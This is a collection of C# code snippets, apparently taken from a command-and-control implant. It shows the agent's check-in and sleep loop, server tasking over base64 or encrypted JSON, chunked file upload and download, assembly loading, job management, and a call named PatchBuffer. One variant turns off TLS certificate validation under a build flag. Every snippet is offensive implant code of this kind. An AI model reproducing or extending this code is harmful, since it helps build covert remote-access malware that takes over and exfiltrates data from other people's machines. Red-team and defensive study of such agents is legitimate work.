Пример #1
0
        public static string GetJobs(Utils.JobList jobList)
        {
            string jobs = "Job ID\tTask ID\t\t\t\t\tCommand\t\tParameters\n------\t-------\t\t\t\t\t-------\t\t---------\n";

            foreach (Utils.Job job in jobList.jobs)
            {
                jobs += String.Format("{0}\t{1}\t{2}\t\t{3}\n", job.job_id, job.task_id, job.command, job.parameters.Replace(@"\", @""));
            }
            return(jobs);
        }
Пример #2
0
 public static void Main(string[] args)
 {
     Utils.GetServers();
     while (!Http.CheckIn())
     {
         int Dwell = Utils.GetDwellTime();
         System.Threading.Thread.Sleep(Dwell);
     }
     Utils.JobList JobList = new Utils.JobList
     {
         job_count = 0,
         jobs      = { }
     };
     while (true)
     {
         Utils.Loop(JobList);
         int Dwell = Utils.GetDwellTime();
         System.Threading.Thread.Sleep(Dwell);
     }
 }
Пример #3
0
 public static bool KillJob(Utils.JobList jobList, int jobNum)
 {
     try
     {
         int count = 0;
         foreach (Utils.Job job in jobList.jobs)
         {
             if (job.job_id == jobNum)
             {
                 jobList.jobs[jobNum].thread.Abort();
                 jobList.jobs.RemoveAt(count);
                 break;
             }
             count++;
         }
         return(true);
     }
     catch
     {
         return(false);
     }
 }
Пример #4
0
        public static void Main(string[] args)
        {
            Modules.PatchBuffer();
            Utils.GetServers();
#if CERT_FALSE
            System.Net.ServicePointManager.ServerCertificateValidationCallback = delegate { return(true); };
#endif
            while (!Http.CheckIn())
            {
                int Dwell = Utils.GetDwellTime();
                System.Threading.Thread.Sleep(Dwell);
            }
            Utils.JobList JobList = new Utils.JobList
            {
                job_count = 0,
                jobs      = { }
            };
            while (true)
            {
                Utils.Loop(JobList);
                int Dwell = Utils.GetDwellTime();
                System.Threading.Thread.Sleep(Dwell);
            }
        }
Пример #5
0
        public static bool GetTasking(Utils.JobList JobList)
        {
            try
            {
                foreach (Utils.Job Job in JobList.jobs)
                {
                    if (Job.upload)
                    {
                        if ((Job.total_chunks != Job.chunk_num) & (Job.total_chunks != 0))
                        {
                            if (!Job.chunking_started)
                            {
                                Utils.UploadTasking UploadTasking = Utils.UploadTasking.FromJson(Job.parameters);
                                Job.file_id = UploadTasking.assembly_id;
                                Job.path    = UploadTasking.remote_path;
                                Utils.Upload Upload = new Utils.Upload
                                {
                                    action     = "upload",
                                    chunk_size = Config.ChunkSize,
                                    file_id    = Job.file_id,
                                    chunk_num  = Job.chunk_num,
                                    full_path  = Job.path,
                                    task_id    = Job.task_id
                                };
                                Utils.UploadResponse UploadResponse = Http.GetUpload(Upload);
                                Job.total_chunks = UploadResponse.total_chunks;
                                Job.chunks.Add(UploadResponse.chunk_data);
                                Job.chunking_started = true;
                            }
                            else
                            {
                                Job.chunk_num++;
                                Utils.Upload ChunkUpload = new Utils.Upload
                                {
                                    action     = "upload",
                                    chunk_size = Config.ChunkSize,
                                    file_id    = Job.file_id,
                                    chunk_num  = Job.chunk_num,
                                    full_path  = Job.path,
                                    task_id    = Job.task_id
                                };
                                Utils.UploadResponse UploadResponse = Http.GetUpload(ChunkUpload);
                                Job.chunks.Add(UploadResponse.chunk_data);
                            }
                        }
                    }
                }
                Utils.GetTasking GetTasking = new Utils.GetTasking
                {
                    action       = "get_tasking",
                    tasking_size = -1
                };
#if DEFAULT
                string SerializedData = Convert.ToBase64String(Encoding.UTF8.GetBytes(Config.UUID + Utils.GetTasking.ToJson(GetTasking)));
#elif (DEFAULT_PSK || DEFAULT_EKE)
                string SerializedData = Crypto.Encrypt(Utils.GetTasking.ToJson(GetTasking));
#endif
                var result = Get(SerializedData);
#if DEFAULT
                string final_result = Encoding.UTF8.GetString(Convert.FromBase64String(result));
#elif (DEFAULT_PSK || DEFAULT_EKE)
                string final_result = Crypto.Decrypt(result);
#endif
                if (final_result.Substring(0, 36) != Config.UUID)
                {
                    return(false);
                }
                Utils.GetTaskingResponse GetTaskResponse = Utils.GetTaskingResponse.FromJson(final_result.Substring(36));
                if (GetTaskResponse.tasks[0].command == "")
                {
                    return(false);
                }
                foreach (Utils.Task task in GetTaskResponse.tasks)
                {
                    Utils.Job Job = new Utils.Job
                    {
                        job_id       = JobList.job_count,
                        task_id      = task.id,
                        completed    = false,
                        job_started  = false,
                        success      = false,
                        command      = task.command,
                        parameters   = task.parameters,
                        total_chunks = 0
                    };
                    if (Job.command == "loadassembly" || Job.command == "upload")
                    {
                        Job.upload       = true;
                        Job.total_chunks = 2;
                        Job.chunk_num    = 1;
                    }
                    else if (Job.command == "download")
                    {
                        Job.download = true;
                    }
                    else if (Job.command == "jobs")
                    {
                        Job.response  = Modules.GetJobs(JobList);
                        Job.completed = true;
                        Job.success   = true;
                    }
                    else if (Job.command == "jobkill")
                    {
                        if (Modules.KillJob(JobList, Int32.Parse(Job.parameters)))
                        {
                            Job.completed = true;
                            Job.success   = true;
                            Job.response  = "Job successfully removed";
                        }
                        else
                        {
                            Job.completed = true;
                            Job.success   = false;
                            Job.response  = "Could not remove job";
                        }
                    }
                    JobList.jobs.Add(Job);
                    ++JobList.job_count;
                }
                return(true);
            }
            catch
            {
                return(false);
            }
        }
Пример #6
0
        public static bool PostResponse(Utils.JobList JobList)
        {
            try
            {
                Utils.PostResponse PostResponse = new Utils.PostResponse
                {
                    action    = "post_response",
                    responses = { }
                };
                foreach (Utils.Job Job in JobList.jobs)
                {
                    if (Job.completed)
                    {
                        if (!Job.success)
                        {
                            Utils.TaskResponse TaskResponse = new Utils.TaskResponse
                            {
                                task_id      = Job.task_id,
                                user_output  = Job.response,
                                status       = "error",
                                completed    = "false",
                                total_chunks = null,
                                full_path    = null,
                                chunk_num    = null,
                                chunk_data   = null,
                                file_id      = null
                            };
                            PostResponse.responses.Add(TaskResponse);
                        }
                        else if (Job.download)
                        {
                            if (Job.file_id == null)
                            {
                                Utils.TaskResponse TaskResponse = new Utils.TaskResponse
                                {
                                    task_id      = Job.task_id,
                                    user_output  = null,
                                    status       = null,
                                    completed    = null,
                                    total_chunks = Job.total_chunks,
                                    full_path    = Job.path,
                                    chunk_num    = null,
                                    chunk_data   = null,
                                    file_id      = null
                                };
                                PostResponse.responses.Add(TaskResponse);
                            }
                            else if (Job.chunk_num == Job.total_chunks)
                            {
                                Utils.TaskResponse TaskResponse = new Utils.TaskResponse
                                {
                                    task_id      = Job.task_id,
                                    user_output  = null,
                                    status       = null,
                                    completed    = "true",
                                    total_chunks = null,
                                    full_path    = null,
                                    chunk_num    = Job.chunk_num,
                                    chunk_data   = Job.chunks[0],
                                    file_id      = Job.file_id
                                };
                                PostResponse.responses.Add(TaskResponse);
                            }
                            else
                            {
                                Utils.TaskResponse TaskResponse = new Utils.TaskResponse
                                {
                                    task_id      = Job.task_id,
                                    user_output  = null,
                                    status       = null,
                                    completed    = null,
                                    total_chunks = null,
                                    full_path    = null,
                                    chunk_num    = Job.chunk_num,
                                    chunk_data   = Job.chunks[0],
                                    file_id      = Job.file_id
                                };
                                PostResponse.responses.Add(TaskResponse);
                            }
                        }
                        else if ((Job.total_chunks != 0) && (!Job.upload))
                        {
                            if (Job.chunk_num != Job.total_chunks)
                            {
                                Utils.TaskResponse TaskResponse = new Utils.TaskResponse
                                {
                                    task_id      = Job.task_id,
                                    user_output  = Job.chunks[0],
                                    completed    = "false",
                                    total_chunks = null,
                                    full_path    = null,
                                    chunk_num    = null,
                                    chunk_data   = null,
                                    file_id      = null
                                };
                                PostResponse.responses.Add(TaskResponse);
                            }
                            else
                            {
                                Utils.TaskResponse TaskResponse = new Utils.TaskResponse
                                {
                                    task_id      = Job.task_id,
                                    user_output  = Job.chunks[0],
                                    completed    = "true",
                                    total_chunks = null,
                                    full_path    = null,
                                    chunk_num    = null,
                                    chunk_data   = null,
                                    file_id      = null
                                };
                                PostResponse.responses.Add(TaskResponse);
                            }
                        }
                        else
                        {
                            Utils.TaskResponse TaskResponse = new Utils.TaskResponse
                            {
                                task_id      = Job.task_id,
                                user_output  = Job.response,
                                completed    = "true",
                                total_chunks = null,
                                full_path    = null,
                                chunk_num    = null,
                                chunk_data   = null,
                                file_id      = null
                            };
                            PostResponse.responses.Add(TaskResponse);
                        }
                    }
                }
                if (PostResponse.responses.Count < 1)
                {
                    return(false);
                }
                string Data = Utils.PostResponse.ToJson(PostResponse);
#if DEFAULT
                string SerializedData = Convert.ToBase64String(Encoding.UTF8.GetBytes(Config.UUID + Utils.PostResponse.ToJson(PostResponse)));
#elif (DEFAULT_PSK || DEFAULT_EKE)
                string SerializedData = Crypto.Encrypt(Utils.PostResponse.ToJson(PostResponse));
#endif
                string result = Post(SerializedData);
#if DEFAULT
                string final_result = Encoding.UTF8.GetString(Convert.FromBase64String(result));
#elif (DEFAULT_PSK || DEFAULT_EKE)
                string final_result = Crypto.Decrypt(result);
#endif
                Utils.PostResponseResponse PostResponseResponse = Utils.PostResponseResponse.FromJson(final_result.Substring(36));
                List <Utils.Job>           TempList             = new List <Utils.Job>(JobList.jobs);
                foreach (Utils.Response Response in PostResponseResponse.responses)
                {
                    foreach (Utils.Job Job in TempList)
                    {
                        if (Job.completed)
                        {
                            if (Job.task_id == Response.task_id)
                            {
                                if (Response.status == "success")
                                {
                                    if (Job.download)
                                    {
                                        if (Job.file_id == null)
                                        {
                                            Job.file_id = Response.file_id;
                                        }
                                        if (Job.total_chunks == Job.chunk_num)
                                        {
                                            Utils.RemoveJob(Job, JobList);
                                        }
                                        else
                                        {
                                            if (Job.chunks.Count != 0)
                                            {
                                                Job.completed = true;
                                                Job.chunks.RemoveAt(0);
                                            }
                                        }
                                    }
                                    else if ((Job.total_chunks != 0) & (!Job.upload))
                                    {
                                        if (Job.chunk_num + 1 != Job.total_chunks)
                                        {
                                            Job.chunks.RemoveAt(0);
                                            Job.chunk_num++;
                                        }
                                        else
                                        {
                                            Utils.RemoveJob(Job, JobList);
                                        }
                                    }
                                    else
                                    {
                                        Utils.RemoveJob(Job, JobList);
                                    }
                                }
                            }
                        }
                    }
                }
                TempList = null;
                return(true);
            }
            catch
            {
                return(false);
            }
        }